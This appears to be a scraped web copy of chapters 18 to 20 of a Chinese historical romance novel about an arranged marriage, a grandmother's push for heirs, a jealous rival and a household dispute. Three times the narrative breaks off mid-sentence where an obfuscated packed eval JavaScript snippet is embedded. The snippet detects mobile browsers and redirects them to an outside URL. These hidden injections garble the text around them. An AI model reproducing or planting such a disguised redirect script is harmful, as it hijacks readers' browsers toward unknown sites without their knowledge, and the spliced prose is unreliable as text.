晚青妤并未忘记此事,只是因萧秋折的擅作主张,心中郁结难消。她本不是斤斤计较之人,今日却莫名生了这么大的气。 曾几何时,他在她心中一直是位正人君子,有头脑、有气度,不拘小节,更不会在她面前阴阳怪气地提及付钰书。如今,他这般行事,究竟是何用意? 她的家事,自有她来处置,他无权越界。 “现在就去。”晚青妤语气冷淡,快步朝门外走。 玉儿未跟上,看了看萧秋折。萧秋折脸色不佳,漆黑的眸中隐约闪过一丝失落。 站在他的立场,他不过是出于好意,并无过错,可惜,晚青妤原则性太强,不容旁人打破她的计划。 晚青妤提着鹅黄缠枝纹裙裾疾步穿行,青玉耳坠在颈侧泠泠作响。她刻意将步子踩得又急又重,仿佛要将身后那道玄色身影碾碎在青砖石路上。 萧秋折广袖下的指节攥得发白,金线滚边的袍角被带得猎猎生风,偏生面上仍端着矜贵公子的从容,只在经过垂花门时望着她绷紧的肩线皱了皱眉。 鎏金匾额“宁安居”映入眼帘时,晚青妤堪堪收住脚步,檐角铜铃被春风撩得叮咚。 管事嬷嬷早已候在月洞门前,见二人前后脚转过影壁,忙福身道:“公子与少夫人可算来了,太妃今夜饮了三盏云雾茶,连《妙法莲华经》都抄完两卷了。” 萧秋折漫应一声,抬脚与晚青妤并肩而立。晚青妤只觉衣袖掠过手背似寒刃擦过,余光瞥见萧秋折玉冠下垂落的墨发在风中纠缠,但是神色依旧淡定从容。 两个人较起真来,当真一个比一个犟。 “可算舍得来了?”紫檀雕花榻上传来玉石相击般的笑声。太妃斜倚着云锦软枕,鬓边衔珠点翠凤簪映着窗外疏影,将眼尾细纹都镀上层金边。见二人跪下行礼,她搭着鎏金鹤头杖缓缓直起身,织金马面裙摆扫过青玉砖时带起一阵檀香,缓声道:“凑近些,老身这昏花眼竟辨不清模样了。” 二人依言上前。 太妃微微眯起眼,细细打量着眼前的二人,虽脸色难看,但二人容貌俊秀,风姿绰约,倒也算得上天造地设的一对。看来,当初确实是利益联姻,怕是连一丝情意都未曾有过,否则怎会是这般冷淡神色? 不过,为了子嗣,没有感情也无妨。感情嘛,总是可以慢慢培养的。 太妃心中笃定,缓步走近二人,目光在他们脸上来回游移:“这些年,秋折一直忙于公务,从未闲过,但忙来忙去,终究是为了外人,自己的终身大事,却从未上过心。” 她顿了顿,见他们依旧神色冷淡,心中不由得一叹,语气中带着几分感慨:“人这一生,总离不开一个‘情’字。无论是何种情,皆是支撑人前行的力量。祖母活了几十年,也算看透了些人生。你们也不小了,想必也明白如何生活才能不负走这人间一遭。” 太妃字字如针,晚青妤与萧秋折静静听着,仿佛两尊雕像般伫立在房间里。 太妃见他们依旧没有动容,心中略感无奈,上前一步,抓起二人的手搭在一起,轻笑道:“正所谓夫妻同心,其利断金,这偌大的亲王府,日后就指望你们了。” 现在也别管强扭的瓜甜不甜了,干脆先生米煮成熟饭吧! 两只手毫无防备地搭在一起,晚青妤只觉得手心一热,眼皮猛地跳了一下。 太妃急于抱孙子的心情,她能够理解,但也不能这样冷不丁地就让人牵手呀! 这刚一触碰,都僵得跟石头似的。 手指都不能打弯了。 18. 第 18 章 晚青妤与萧秋折最为亲近之时,乃是他们大婚之日。那日,主婚人上前,将他们的手交叠,引领着他们行了夫妻对拜之礼。 彼时,他们的手,一如当下这般,甫一触碰便僵住了,他的手有微微冰凉,送入洞房的一路上都牵着她,她不好意思地挣脱,他便以食指轻轻勾住她的小拇指。 洞房花烛夜,他们僵坐了大半天。 那一夜,他们都做了一个决定,一个至今或许有过后悔的决定。 如今,她的手依旧僵直,手指仿佛被冻住一般,难以弯曲。而他的手,却已不似从前那般,渐渐地,握住了她。 他的手极其好看,指骨匀称,既干净又白皙,触上以后还有点温温的。 她初时欲抽回手,而他却抓着没放,她只得停下,安静地听太妃继续言道:“我记得二月里秋折有几日休沐,届时你们二人可外出赏景,增进增进感情。府上吃穿用度方面我自会让下人打点妥当,还有一些滋补汤药你们二人也要饮用。对了……” 她言及此处,望向门旁,招手唤来一位嬷嬷,介绍道:“这是李嬷嬷,是我精挑细选之人,手脚麻利,懂得颇多,日后便让她去你们院里伺候,有何不懂之处尽管问她。” 李嬷嬷年约五十余岁,面容慈祥,恭敬地向二人行礼。 太妃虽言是让她过去伺候,但在场人皆心知肚明,这是派去监视她和萧秋折的,看来太妃定要抱上重孙不可了。 晚青妤心想萧秋折应该也明白太妃的意思,他素来谨慎,最厌被人监视,定会拒绝,结果,半晌,他只回了一句:“好。” 好? 好在哪里? 让这嬷嬷盯着他们生孩子? 晚青妤这一晚心情本就不佳,听闻此言心情更是糟糕透顶,她抽了一下手,不想再被他牵着。 然而萧秋折早已料到她会如此,却是勾住她的手指不放。 在太妃面前她亦不敢太过失礼,不然回头太妃定会变本加厉,无奈,只能这般一直垂首静默着,直至太妃长篇大论地说完放他们离去。 今日算是第二次牵手了,晚青妤心情愈发复杂。 他们从太妃院中出来后,她便一直低头疾步前行,全然不顾身后沉默不语的萧秋折。 今日夜色不佳,漆黑一片,正如晚青妤的心情。她走得快,萧秋折走得更快,不一会儿便追上了她。待行至翠玉轩附近的小道时,萧秋折几个跨步上前,挡在了她面前。 她停下脚步,抬眸望向他,黑夜里看不清他的神色,却能感受到他身上强烈的压迫感。 他似乎也有些生气了。 他生的哪门子气? 二月的夜风温和舒适,却吹不散晚青妤的愁绪。 萧秋折又觉得天气闷热,扯了扯衣领,笔挺的身躯立在夜色中如同一棵青松。 当下的气氛不言而喻。 晚青妤虽平日里看起来温婉和顺,却也是个倔脾气,她也直直地站着,努力望向他黑洞洞的眼睛里,欲探究他到底意欲何为。 在双方僵持了许久之后,萧秋折终是受不了这般压抑的气氛,清声开口:“有什么好生气的,怪我未曾提前告知于你,赵老爷子已经死了,被我带出京城后便猝然离世,消息已经传至皇后耳中,皇后要严查此事,赵家人亦定不会放过青桁,所以我便擅自做主将他带来了亲王府。当然,我也很想知道,你归来后为何一直未曾提及你的家人,我不知你与付钰书有何打算,但赵老爷子因我而死,我不能不管。” 此事若处理不当,皇后若揪住不放,定会牵连甚广。平日里其他事情他或许还能处理得干净利落,但牵扯到皇后娘娘便有些棘手了,何况其因还是晚青桁。 晚青妤立在一株桃花树下,此时桃花含苞待放,夜色中飘着浓郁的桃花香。微风吹来,吹乱了她鬓角的秀发,亦吹醒了她。 萧秋折的好她并非视而不见,只是纠葛越多,日后越难割舍。 她沉默不语,二人又静默了许久,或许两年时光让他们都成熟了许多,所思所想皆更为深远,亦不会像当初那般,明知所言所行不妥,还非死犟死犟的一意孤行。 赵老爷子一死,此事确实麻烦了。晚青妤向来是个明事理之人,此事上虽然萧秋折擅自做主令她不悦,但他的出发点却是好的。 身旁的枝叶伸至肩头,她顺手摘下一朵桃花苞,凑到鼻尖闻了闻,轻声问了一句:“方才,那碗红枣粥可是你让厨房做的?” 还未绽放的花苞香味更浓,染得她指尖皆是芬芳。 萧秋折看向她捏花的手,白嫩修长,如玉一般,目光渐渐移到她比花儿还要好看的脸颊上,动了动唇,“嗯”了一声。 晚青妤将手中的花苞扔到他手里,动身往翠玉轩走去,语音比之前温和了许多:“我饿了,想喝,你让厨房再给我做一碗。” 她言罢,背影便融入了夜色中。 萧秋折手中拿着她扔来的桃花苞,也凑到鼻尖闻了闻,花苞水嫩,香气袭人。 半晌,他才又“嗯”了一声,也不知她是否听清。 晚青妤回到翠玉轩后,先去看望了晚青桁,而后便回了偏房歇息,待她洗漱完毕归来,红枣粥已经送来了,还多了一份桃花糕,红枣粥热气腾腾,香甜可口,喝下后肚子暖暖的。 翌日,天色未明,萧秋折便已离开亲王府,脚步匆匆,直往京中陆临所经营的酒楼——臻味阁。 此楼地处繁华,人来人往,生意极为兴隆。 一间客房中,八仙桌上铺展着一幅详尽的地图,旁边放着一把略显斑驳的月牙刀。 此刻,身着一袭红衣的陆临正俯身立于桌旁,目光紧紧锁定在地图之上,修长的手指在起伏的山丘间游走,似在寻觅着什么。 萧秋折推门而入,语气中带着几分急切:“可是有了确切的线索?” 陆临闻声抬头,见萧秋折神色匆忙,嘴角勾起一抹玩味的笑:“这是真上心了,天还没亮就赶了过来。” 萧秋折无暇顾及他的调侃,几步跨至桌前,目光紧随陆临的手指落在地图上:“我一向起得早。” 而后拿起那把月牙刀,细细端详之下,只见刀柄之上,隐约镌刻着一个“龙”字,虽已斑驳,却仍依稀可辨。 他惊喜道:“这正是晚青尧的月牙刀,昔年皇家赛马,我与晚青尧皆入围决赛,几经角逐,他终拔得头筹,赢得了皇上这把刻有‘龙’字的月牙刀。他生前,此刀从不离身,你是从何而得?” 忆及当年赛马,陆临因贪恋枣树之果,不慎跌落,伤了腿脚,未能参与。而那枣树,恰是晚青妤外祖母乔家老宅里的那棵,此事他至今记忆犹新。 陆临与萧秋折,乃表亲之谊,面貌间有几分相似,然气质迥异。陆临英姿勃发,即便年逾二旬,犹带少年之气,且性情开朗,言谈风趣。 他轻点地图上标记之处,回道:“这把刀是于贺州寻得,然太保大人与晚青尧却毙命于荆州,两地相隔甚远,其中必有蹊跷。” 一年前,晚青尧刚被赐婚不久,冬夜中,有人来报,说晚青尧之父晚崇所查的一桩案件有了新的进展,凶手在荆州惨遭杀害,死状凄惨,眼珠被挖,头颅被斩,更查出此人与当地官员勾结。晚崇受命前往调查,晚青尧心系父安,携护卫同行,未料甫至荆州,便遭不测,命丧黄泉。 此等亲赴之地,本是常事,晚青尧又武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽萧秋折口称此举为巩固朝中地位,虽仅为两府利益联姻,但是当时他已功勋卓著,于奕国风光无限,何需外人帮衬。 陆临猜,他单纯想帮晚家,或者想娶晚青妤才是真的吧! 可惜的是,晚青妤当时心有所属,他把人娶走,硬着头皮不肯拉下脸来,还写了一份和离契约。 果然,这种人,在感情方面也强势的可怕。 但是难受憋屈的却是他自己。 陆临丢下竹签,端起茶壶斟了两杯茶,将杯盏推到他面前,一边吐着气,一边道:“听闻付钰书已插手晚青禾之事。付家势大,付钰书又是新科探花,若他真为晚青禾脱险,在晚家与皇上面前,定会更深得青睐。” 他说着,探了一眼萧秋折的神色,吹着杯盏里的茶叶,清声道:“要不要我帮你去会会付钰书?” 轻啜一口,茶香清甜。 “虽付钰书家世显赫,又为探花之才,样貌好,性情好,与晚青妤还是青梅竹马,各方面都极为般配。然你无依无靠,性情强势,心眼小且爱面子,晚青妤又对你没情。但,若你不顾道德,强行插足,横刀夺爱,死不放手,胜算,还是有的。” 话音一落,屋内一片死寂。 陆临揉搓着杯盏往一旁挪了挪。 橙色烛光还在萧秋折的脸上跳跃,眼睛里却像化开了墨,身后如同一层恐怖的黑烟在慢慢晕开,然后一点点渗入到每个角落里,使得整个房间的气氛变得愈加冰冷。 半晌。 萧秋折动了动唇:“滚。” “说正事。” 19. 第 19 章 晚青妤今日起得稍早,原想着能碰上萧秋折,谁知他竟比她起得更早。听方于说,天还未亮,他便匆匆离府,临走时只囫囵吞了个包子,连口热茶都未及喝上。 昨夜,晚青妤辗转反侧,直至半夜才勉强合眼。她思来想去,终是将事情的前因后果捋了个清楚。自她与萧秋折成婚之前,晚家便屡遭祸事,父亲兄长相继被害,如今二哥的言书堂又出了事。这一桩桩、一件件,看似巧合,却又不似巧合。若说是晚家行事不端,倒也未必。除非……真是天意弄人,晚家着实是倒霉了些。 可她心中终究委屈,堂堂正正的一家人,如今竟落得这般田地,怎能忍得下这口气? 她深知,凡事不能全然指望他人,旁人有意相助,她自是感激,但能否帮成,她也不会计较。 昨日萧秋折告诉她,纠缠晚青桁的赵家老爷子猝死了,此事一出,局面顿时复杂了许多,萧秋折本是好心相助,却不想惹来了祸事。 昨日她因天色已晚,加之腹中不适,未曾细问,今日一早便想与他详谈,谁知他竟早早离府,连个照面都未打上。 洗漱罢,她用了早膳,便开始规划一日的事务。上午,她去了书房,列了些家规,本想让管家拿去给太妃过目,却又怕经此一问,往后事事都需请示,反倒失了主见。于是,她索性自己做主,反正萧秋折早已应允。 列完家规,她又细细规划了厨房的食谱,依着各院的喜好一一安排妥当,并吩咐厨子,日后去账房取银,须得经过她的允许。 晚青妤素来心思细腻,凡事爱多思量,一件事总要分出几种法子来对比,最后择其最佳者而行。 因着这份仔细,她做事总是慢些,待她忙完这些,已近午时。腹中仍有些不适,她并无多大胃口,只喝了盏茶,便去了账房。她将这月的银钱细细分好,打算自三月起,便按照她所列的法子行事。 一直忙到未时,她才从账房出来。本以为萧秋折今日会如往常般,午间抽空回府用膳,谁知他竟未归。 太妃派来的李嬷嬷今日一直在暗中观察她,时不时提醒她多用些水果,多饮些水,还要按时用膳,每顿饭,厨房还都备了滋补的粥品。李嬷嬷的差事便是如此,晚青妤也不好说她什么,只是实在没有胃口。 李嬷嬷发现她与萧秋折还在分房而睡,便回了太妃那里一趟,大抵是去太妃那里告状了。 今日天气很好,方于似乎精神不济,一直打瞌睡,做账时也总是分神。玉儿问他怎么了,他哈欠连天地回道:“公子昨夜未眠,一直在研究曲州的桥。曲州那边有一条大河,又宽又长,生生将肥沃的田地与村庄隔断。村民们若想去田间劳作,需翻越一座大山,出行极为不便。可那河流沙多,桥难建造,公子为此费尽心思,一夜难眠。我们跟着打下手,一夜下来只睡了两三个时辰,而公子却似一刻也未合眼,天未亮便又出门了。” 若论熬夜,至今还未有人能熬得过萧秋折。方于有时不理解,这天底下怎会有如此精力旺盛之人?他难道不累吗? 晚青妤知晓萧秋折在造桥方面颇有建树,到现在还有许多百姓常去安平桥祭拜他的石像。他不仅多才多艺,更心怀大义,这样的男儿郎,确实挺少见的,也令人钦佩。 玉儿听方于这般说,满眼崇拜地赞叹道:“姑爷果然不凡,他一夜未眠,难道不困吗?今早又去了何处?” 这般连轴转,身子如何吃得消?太妃还盼着他与小姐早日延续香火呢! 方于搓了把脸,试图让自己清醒些,回道:“他去找陆临了,顾家三郎遇害,顾家人怀疑他,要公子帮忙。” 陆临,晚青妤是认得的,他娘亲是她外祖母的侄女,算起来他们还有些亲戚关系。儿时她在乔家大院住着,常常见到他,那时他是几个孩子里最调皮的一个,常爬外祖母家的枣树摘枣子吃,有一回还从树上摔下来,跌断了腿。 陆临是个爱交朋友的,京城中的男儿郎大多认得他。从前他与晚青妤的大哥关系甚好,常一同骑马练剑。每回见她,他总是笑嘻嘻地唤她“小三妹”,还常打趣说她白得跟个天鹅似的。 当初她与萧秋折成婚时,陆临过来贺喜,抱着一对鸳鸯,塞到他们手中,一本正经地祝他们百年好合,早生贵子。 如今顾家三郎突然遇害,他被牵扯其中,萧秋折自是要帮他的。 “陆临那事好解决吗?”晚青妤问方于。 方于耸耸肩,回道:“人又不是陆临杀的,自然好解决。只是这事挺膈应人,公子为此跑了一趟又一趟,还被顾老爷子指桑骂槐,冷嘲热讽。况且,公子平时本来就忙。” 玉儿不解,问道:“你家公子既不缺钱,又不缺地位,何苦还要这般拼命?像他这般年纪的,早已妻妾美满,膝下承欢了。” 这话倒是不假。 方于一时语塞,他们只一味地跟着公子埋头苦干,却从未想过为何如此卖命。他摇摇头,道:“不清楚,许是心系天下苍生吧。” 晚青妤又问:“方于,我听说你家公子曾遇一劫难,你可知是什么劫难?” 说起此事,方于那双黑溜溜的眼珠子转了转,伸手搓了搓后颈,咿咿呀呀半晌,却始终未能吐露半字。这事着实不好说,公子早有交代,任何人不得提及。 晚青妤见他面色纠结,眉头都拧成了麻花,心知此事不便多问,却也隐隐察觉,定然非同小可。 她思来想去,却始终想不出,究竟是何事何人,竟能让萧秋折遭遇那般劫难。 那年他十七岁,正是他们初识之年。如今回想起来,自城门相见后,好像有一年多未曾听闻他的消息,当时她还以为是父亲有意隐瞒,却不想那一年,他竟遭遇了如此大事。 玉儿瞪着一双明眸,眨了眨眼,好奇地问道:“是你家公子不让说的吗?方于,你就透露一点点,一点点就好。” 方于最是受不得玉儿那双明亮的大眼睛,心中扑通扑通直跳,动了动唇,终究低声道:“晚间睡觉的时候,少夫人看看公子的背,便知道了。” 背? 玉儿忙转头看向晚青妤,晚青妤却是一愣,他们又不曾同寝,如何能瞧见他的背? 她忙岔开话题,道:“我今日新立了家规,傍晚府上众人回府时,让管家到各院通知一声。届时府中难免有些纷乱,或许还会有人不满。方于,你先去歇息片刻,待会儿打起精神来,帮我一同应付。” 萧秋折今日想必事务繁忙,也不知何时才能回府,府上许久未曾改动家规,晚青妤一回来便大刀阔斧,府中怕是会炸开了锅。 方于搓了搓手,倒是有些兴奋,应声道:“好,我这就去歇息,有事唤我便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020201|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 方于刚要踏出门槛,便撞见了正往里走的晚青桁。 晚青桁一见他,眉头立刻皱了起来,冷哼一声道:“你怎么还阴魂不散了?昨夜纠缠了我半宿,今日又来作甚?难不成是向我姐姐告状?我都说了,我不会弹琴给你听,你以后休要再靠近我。” 方于一只脚刚迈出房门,便被人劈头盖脸地骂了一通,他不明所以地摸了摸鼻子,瞧着晚青桁那张气鼓鼓的脸蛋,深吸一口气道:“你别瞎说,我可未曾纠缠你。” 晚青桁见他矢口否认,正欲再骂,玉儿急忙上前解释道:“小少爷,你认错人了,这是方于,他与方齐是双生兄弟,昨夜纠缠你的,是方齐。” 双生兄弟? 晚青桁顿时愣住了,仔细打量了方于一番,见他模样憨厚,确实与昨夜那个油嘴滑舌的家伙有些不同。 方于唇角微微一挑,心中暗骂了几句,便径自去歇息了。 晚青桁好一会儿才回过神来,有些尴尬地捋了捋袖子,扫了一眼屋内,问道:“姐夫呢?在府上吗?” 晚青妤回道:“他一早便出去了。青桁找他可有事?” 晚青桁见晚青妤今日心情稍好,笑道:“无事,只是想与姐夫探讨探讨建桥之事。我一直仰慕他在这方面的造诣。他何时回来?” 晚青妤看了一眼屋外的天色,回道:“还不清楚,青桁若是在府上无聊,不妨去亲王府的后花园逛逛。花园很大,还有个偌大的鱼塘,你可以去钓鱼。” 晚青桁在屋里待了半晌,确实挺闷得慌,他便道:“那好,我去瞧瞧。” 晚青桁出了房间,径直去了后花园。时值春日,园中春暖花开,景色宜人。后花园中有一片鱼塘,确实颇为宽阔。他招来小厮,取了鱼竿,准备去钓会儿鱼。 途径一片花丛时,忽见一人正躺在花堆中,面上盖着一本书。 那人身穿一袭白色锦衣,身姿修长挺拔,搭在一旁的双手白皙修长,乌黑的秀发散落在花丛间,显得格外清雅。 晚青桁在原地停了一瞬,那人似乎听到了动静,抬手拿开脸上的书,缓缓睁开眼睛。 日光洒在他的脸上,那双好看的眼睛微微眯了眯,见到晚青桁后,慢慢坐起身来。 二人相视,一时皆愣在了原地。 半晌,晚青桁开口问道:“你是哪位?” 对方缓缓站起身来,几乎要望进他那双晕着春露的眼睛里,眉梢微动,唇角勾了勾,清声回道:“萧絮。” —— 临近酉时,皇上突然召集部分官员进宫议事。萧秋折从陆临家中出来后,便一直在岳堂处理事务,忙得连午饭也只是匆匆扒了几口。 到了皇宫,他刚下马车,便听到几位大臣在议论赵老爷子猝死之事。显然,众人都认为这是一场谋杀。即便医师鉴定为猝死,但种种可疑迹象,不得不让人心生疑虑。 萧秋折并不惧事,只是此事牵连到皇后,令他心烦意乱,更不愿听到任何关于皇后的言辞。 他正心事重重地往宫殿里走,身后突然有人叫他:“萧大人。” 萧秋折闻声顿住脚步,微微蹙了下眉头,缓缓转过身来,只见一袭绛色官服的付钰书正站在不远处。 春风正盛,霞光满天。 “萧大人,好久不见。” 20. 第 20 章 付钰书,正值桃李年华,较之于萧秋折,小了四载春秋。其身形虽未及萧秋折那般伟岸挺拔,却也是风度翩翩,宛如芝兰生于幽谷,矜贵气质更是旁人所不能及。 两载光阴匆匆流逝,付钰书自外归来,更添了几分成熟稳重,然其骨子里那份书卷之气,却依旧未减分毫。 京城之地,不过弹丸之域,达官显贵之家,公子小姐,大多彼此相熟。付家,更是书香门第,不仅在京城广设书肆,还开办众多私塾,京城中诸多公子小姐,皆曾受业于付家私塾,萧秋折就是其中一个。 萧秋折自幼聪慧好学,八岁之时,便入了付家最好的一间私塾,彼时,付钰书尚是稚子之年,两人常在同一院中读书习字。 萧秋折才学出众,一直都是私塾中的佼佼者,他备受众人敬仰,就连小小的付钰书,亦是时常跟在他身后,甜甜地唤着“秋折哥哥”,渴望能从他那里学得几首诗,几个字。 那时的萧秋折,性情温和,总是耐心地揉揉付钰书的小脑袋,教他识字读书。 自那之后,两人多有往来,直至青春年少之时,萧秋折仍时常前往付家书肆购书,遇见付钰书时,还会热情打招呼。 那时,他还曾见过晚青妤,那样小小的一个人,时常趴在书肆窗台前,认真地练字。 然而,自十七岁之后,萧秋折便鲜少与京中少爷小姐们来往,与付钰书亦是少有相见。 两年前,他与晚青妤即将成婚之际,付钰书最后一次找上门来。 付钰书手持长剑,双目赤红,哭诉着他抢走了他的心上之人,还扬言要杀了他。 原本,付钰书与晚青妤自幼相识,两小无猜,情深意重,但萧秋折的出现,彻底破坏了他们那份青涩而美好的感情。 付钰书哭得声音都在颤抖:“萧秋折,我曾视你为友,你却转身就夺我所爱。我与青妤青梅竹马,感情深厚,你为何非要强势插足将她抢走?你明知晚家有难,青妤不会拒绝于你,还在此刻前来求亲,你实在卑鄙无耻。就算没有你,我付家一样能助晚家,我一样能护得了她。可你,不爱她还要强娶她,你可知这样会害了她一辈子。” 那日,天寒地冻,大雪纷飞,萧秋折立于亲王府门前的台阶之上,居高临下地,冷冷地望着付钰书,许久都未发出一言。 付钰书怒不可遏,挥剑便刺,而萧秋折依旧笔挺地站着,一动不动,任凭付钰书硬生生地在他的左胸口上重重刺了一剑。 那一剑,几乎要了萧秋折半条性命,鲜血奔流而出,染红了衣襟,滴落在雪地里,宛如朵朵红色花儿。 剑尖只差毫厘,便能穿透他的心脏。 付钰书惊愕地看着他,怎么也未想到他竟然没有躲避,那一剑,他几乎用尽了全身力气,且带着满腔的愤怒与不甘。 许是天气寒冷的缘故,萧秋折竟丝毫未觉疼痛,他只是轻轻拂了拂衣袖,缓缓地吐出几个字:“付钰书,还清了。” 这一剑,是他该受的。 他没有死。 自此以后,付钰书便离开了京城,再也没有出现过他面前,直至两年后的今日,二人才再度相见。 霞光映照宫阙,萧秋折望着眼前之人,虽神色淡然,但心中却波澜暗涌。 他应了一声转身往前走,付钰书却紧随其后,神色虽较两年前平和许多,然周身敌意犹存,他声音依旧清朗悦耳,但是言语却很直白:“听闻你把青妤接回了京城。” 那日他从山间小院出去,便直奔了南方择书,孰料再回来,萧秋折竟已把晚青妤接回亲王府。他本欲找晚青妤问个明白,可是晚青妤做事一向有自己的主见,他没敢轻易打扰。只是今日在此遇到萧秋折,他本已平静的心绪倏然而动。 他话音落后,周围寂静了片刻。 萧秋折瞳仁本就漆黑,时下更如化开的墨一般,在眉头压下之后,渐渐晕出一片阴翳,周身释放出强烈而不怒自威的压迫感。 许久,他冷冷“嗯”了一声,握紧了袖中手掌,继续前行,在皇宫之中,他不愿谈及私事。 然付钰书却紧跟其后,语音也不如方前温和:“我前些日曾去山中探望她,她病势沉重,身体虚弱,精神萎靡,急需关怀,我陪了她大半日,她才渐渐好转。萧秋折,两年来你对她不闻不问,如今又为何要把她接回京城?” 他这次回京,已经做好了准备,也在为晚青妤脱身,只要她与萧秋折和离,只要她恢复自由之身,他们依旧可以再续前缘。 两年的等待和隐忍已经让他痛苦万分,眼看就要看到希望,结果萧秋折又来插上一脚。 萧秋折虽是个强势之人,但是也分得清何种场合谈及何事。 付钰书有意挑衅,他只觉可笑,转头冷冷瞥他一眼,道:“我的家事不需要付大人操心,皇宫之中莫要多言。” 家事? 付钰书冷笑,不知是经年岁月磨砺,胆气渐长,抑或本就存心与萧秋折一较高下,他唇角轻扬,言语间带着几分挑衅:“青妤曾多次向我说起,你们二人只是利益联姻,且你写下了三年和离契约,这两年她孤苦伶仃一人独居山间,也受尽了不少苦楚,她每日都在期盼着解脱,如今好不容易快熬到了头,你为何又要将她带到那高深的亲王府之中。萧秋折,你总是一意孤行,可曾顾忌过她的感受?” 他望着那纤瘦的人儿,心疼难耐,又怎愿看着她继续被这场烂透的婚姻备受折磨。 付钰书句句诛心,每个字都像钉子一样往心口里扎。 付钰书不依不饶,欲再开口,萧秋折终是忍无可忍,顿住脚步,广袖一拂,一道寒光自袖中疾射而出,暗器破空之声尖锐刺耳,几乎贴着付钰书的面颊掠过,而后“砰”然一声,深深嵌入一旁雕龙画凤的殿柱之中。 一瞬间,周围一片衢静。 仿佛连晚霞都变了颜色。 萧秋折眉头压得愈深,慢慢收回手掌,瞥向仓促闪避的付钰书,唇角勾起一抹冷冽笑意,嗓音也冷如冰霜:“付大人,这是送给你的见面礼,日后若是再相见,记得要向我跪拜,也请你别再谈及我的妻子。” 妻子?他说她是他的妻子? 萧秋折今日心情本就糟糕,孰料又遇到一个更为糟心的。 他转身前走,丢给守卫一句:“若皇上追究柱子,就说是我干的。” —— 夜幕降临,晚青妤用过晚膳后,李嬷嬷便开始催促她与萧秋折合铺之事,还特意准备了一套极为舒适的被褥,甚至送来了几个有助于增进感情的香囊。 晚青妤羞得满脸通红,一再推辞,可李嬷嬷却说这是太妃的命令,若是今晚再不同房而眠,恐难让她安心,还以她的身子为由相要挟。 晚青妤无奈至极,眼看着李嬷嬷将她偏房的被褥撤去。 她本是来帮萧秋折管理家务的,没想到到头来,自己反倒成了被“管理”的那个。 正当晚青妤蹙眉思索对策之时,正如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15025089|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她所预料的那样,府中不服她管教之人已寻上门来。 率先踏入她院门的,乃是居于偏院的四夫人姚悦。姚悦乃萧亲王所纳之最后一位妾室,年方三十有余,容貌清丽,身姿绰约,性情张扬。 她甫一入院,便以阴阳怪气之态言道:“我还道是何人胆敢逾越王爷立下的家规,原是久居山林之中的少夫人啊。” 按礼数,晚青妤需唤她一声婆母,然姚悦年岁尚轻,风韵犹存,装扮之艳丽犹胜晚青妤。 晚青妤遂恭身行礼,道:“青妤拜见四夫人。” 姚悦斜睨了她一眼,轻哼一声:“起来吧。” 晚青妤遂引领她步入前堂。 姚悦与王爷成婚多年未有子嗣,曾闻府中嬷嬷言及,王爷已数年未踏入她之院落,她独守空房多年,如今无一子嗣也不奇怪。 晚青妤细阅其每月开销,除日常用度外,更有大笔药费支出,言其患有先天性哮喘,需日日服药以控病情。而此药费竟高达每月五百两银子,此数绝非小数,寻常百姓之家一年之收入亦难及此。即便所用药材再为珍贵,亦不应耗费如此之多。 故而晚青妤于本月径自削减其药费,并告之日后若再申领药费,须得先经她之手,且她会为其延请太医诊治。 姚悦闻讯自然心生不满,所以第一时间前来兴师问罪。 晚青妤吩咐玉儿奉上佳茗。 姚悦端坐其间,一副趾高气扬之态。自晚青妤与萧秋折成婚之日起,她便心存不满,认为晚青妤出身即将衰败之家,无资格嫁入亲王府,更遑论成为嫡长子之妻。且晚青妤于山上居住两年,归来便立下家规,实乃未将他们这些长辈放在眼中。她有何资格如此行事? 姚悦开门见山地道:“这偌大的亲王府,本应由王爷亲自掌管,虽王爷今日不在府中,但亦非任何人皆可越俎代庖。太妃也尚在人世,岂容小子当家做主?” 此言非虚。 姚悦眉头紧锁,继续道:“亲王府并非无人,即便王爷不问政事,亦轮不到你这初来乍到的小辈插手。” 其言辞犀利且直接。 晚青妤默然,欲待其言尽,再作计较。站在姚悦的立场,心生怒气自是难免,毕竟每月皆有丰厚银两入账,突遭削减,任谁也难以接受,发泄一番亦是情理之中。 姚悦见晚青妤不语,自当她理亏,这位初来乍到的少夫人,岂有能力管好这偌大的亲王府?虽其所列家规条条在理,但缺乏令人信服之威严。 玉儿立于一旁,心中暗自焦急,看姚悦的架势,今天誓要讨个说法不可。 姚悦愈发得寸进尺,连萧秋折亦不放过,她冷笑道:“这些年秋折强势霸道,打压侧王妃也就罢了,连家中兄弟姐妹亦不放过,搞得亲王府乌烟瘴气。他虽为嫡长子,却行事专横,当初若非因那事王爷心生愧疚,又岂会任他如此肆意妄为?如今倒好,竟随便寻一人就来管理亲王府。” 晚青妤审视着这位四夫人,她虽看似聪慧,然说起话来一点也不理智?她自己的事情都未理清,怎又为侧王妃一家打抱不平? 不过,她所言那年之事究竟是何事?王爷又因何愧对萧秋折? 莫非,是萧秋折十七岁那年所发生的事情? 晚青妤心中思量着她这番话,轻声问道:“那年之事,四夫人可愿细细说一说?” 